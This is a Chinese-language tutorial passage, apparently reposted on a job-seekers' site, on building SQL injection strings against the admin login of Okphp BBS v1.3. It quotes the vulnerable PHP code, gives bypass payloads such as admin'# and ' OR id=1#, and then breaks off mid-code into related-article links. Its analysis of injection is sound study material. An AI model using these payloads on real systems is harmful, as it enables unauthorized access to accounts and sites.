攻擊方法注射語句構造php+mysql
以下是本站小編精心爲大家整理的利用php+mysql注射語句構造的攻擊方法,希望對大家有所幫助!更多內容請關注應屆畢業生網!
一.前言:
版本信息:Okphp BBS v1.3 開源版
下載地址:
由於PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困難,尤其是注射時語句的`構造方面更是個難點,本文主要是借對Okphp BBS v1.3一些文件得簡單分析,來談談php+mysql注射語句構造方式,希望本文對你有點幫助。
聲明:文章所有提到的“漏洞”,都沒有經過測試,可能根本不存在,其實有沒有漏洞並不重要,重要的是分析思路和語句構造。
二.“漏洞”分析:
n/注射導致繞過身份驗證漏洞:
代碼:
$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password);
$q = "select id,group_id from $user_table where username='$username' and password='$password'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);
$q = "select id,group_id from $user_table where username='$username' and password='$password'"中
$username 和 $password 沒過濾, 很容易就繞過。
對於select * from $user_table where username='$username' and password='$password'這樣的語句改造的方法有:
構造1(利用邏輯運算):$username=' OR 'a'='a $password=' OR 'a'='a
相當於sql語句:
select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'
構造2(利用mysql裏的註釋語句# ,/* 把$password註釋掉):$username=admin'#(或admin'/*)
即:
select * from $user_table where username='admin'#' and password='$password'"
相當於:
select * from $user_table where username='admin'
在admin/中$q語句中的$password在查詢前進行了md5加密所以不可以用構造1中的語句繞過。這裏我們用構造2:
select id,group_id from $user_table where username='admin'#' and password='$password'"
相當於:
select id,group_id from $user_table where username='admin'
只要存在用戶名爲admin的就成立,如果不知道用戶名,只知道對應的id,
我們就可以這樣構造:$username=' OR id=1#
相當於:
select id,group_id from $user_table where username='' OR id=1# and password='$password'(#後的被註釋掉)
我們接着往下看代碼:
if ($row[0]) {
// If not admin or super moderator
if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) {
$login = 0;
}
else {
$login = 1;
}
}
// Fail to login---------------
if (!$login) {
write_log("Moderator login","0","password wrong");
echo "
相關文章
-
php+mysql注射語句構造
語句構造好壞直接影響了編程的質量,下面是本站小編精心爲大家整理的php+mysql注射語句構造,希望對大家有幫助,更多內容請關注應屆畢業生網! 一.前言:版本信息:Okphp BBS v1.3 開源版下載地址:由於PHP和MYSQL本身得原因,P -
php防止SQL注入攻擊與XSS攻擊的方法
在php中防止SQL注入攻擊與XSS攻擊的二個簡單方法,感興趣的朋友可以參考下,就跟隨本站小編一起去了解下吧,想了解更多相關信息請持續關注我們應屆畢業生考試網!本節內容: SQL注入攻擊與XSS攻擊的防範方法在php編程中,所 -
php防止SQL注入攻擊與XSS攻擊方法
本文介紹下,在php中防止SQL注入攻擊與XSS攻擊的二個簡單方法,感興趣的朋友可以參考下。本節內容:SQL注入攻擊與XSS攻擊的防範方法在php編程中,所有有打印的語句如echo,print等 在打印前都要使用htmlentities() 進行過濾,這 -
Php中用PDO查詢Mysql來避免SQL注入風險的方法
文章介紹了Php中用PDO查詢Mysql來避免SQL注入風險的方法。需要的朋友參考下.當我們使用傳統的 mysql_connect 、mysql_query方法來連接查詢數據庫時,如果過濾不嚴,就有SQL注入風險,導致網站被攻擊,失去控制。雖然可以用my -
PHP阻止SQL注入式攻擊的方法
【提要】本篇《PHP阻止SQL注入式攻擊的方法》特別爲需要方法編程學習的朋友收集整理的,僅供參考。內容如下:PHP是一種通用開源腳本語言。語法吸收了C語言、Java和Perl的特點,利於學習,使用廣泛,主要適用於Web開發領域。以 -
在PHP中阻止SQL注入式攻擊的方法
PHP獨特的語法混合了C、Java、Perl 以及PHP自創新的語法,那麼如何在PHP中阻止SQL注入式攻擊呢,一起來學習學習! 一、 注入式攻擊的類型可能存在許多不同類型的攻擊動機,但是乍看上去,似乎存在更多的類型。這是非常真實 -
PHP阻止SQL注入式攻擊的方法大綱
PHP是一種通用開源腳本語言。語法吸收了C語言、Java和Perl的特點,利於學習,使用廣泛,主要適用於Web開發領域。以下是小編爲大家搜索整理的PHP阻止SQL注入式攻擊的方法 ,歡迎閱讀!更多精彩內容請及時關注我們應屆畢業生考 -
PHP中MySQL、MySQLi和PDO的用法和區別
PHP堅持腳本語言爲主,所以PHP入門比較簡單,在PHP中,MySQL、MySQLi和PDO三種語言的用法和區別是什麼?下面yjbys小編爲大家分享MySQL、MySQLi和PDO的優缺點,僅供參考! PHP的MySQL擴展(優缺點)設計開發允許PHP應用與MySQL數 -
在PHP中全面阻止SQL注入式攻擊的方法
PHP是一種通用開源腳本語言。語法吸收了C語言、Java和Perl的特點,利於學習,使用廣泛,主要適用於Web開發領域。以下是小編爲大家搜索整理的在PHP中全面組織SQL注入式攻擊的方法,希望能給大家帶來幫助!更多經常內容請及時關 -
PHP語言:MySQL五個查詢優化方法
MySQL中數據類型有多種,如果你是一名DBA,正在按照優化的原則對數據類型進行嚴格的檢查,但開發人員可能會選擇他們認爲最簡單的方案,以加快編碼速度,或者選擇最明顯的選擇,因此,你可能面臨的都不是最佳的選擇,如果可能的話,你應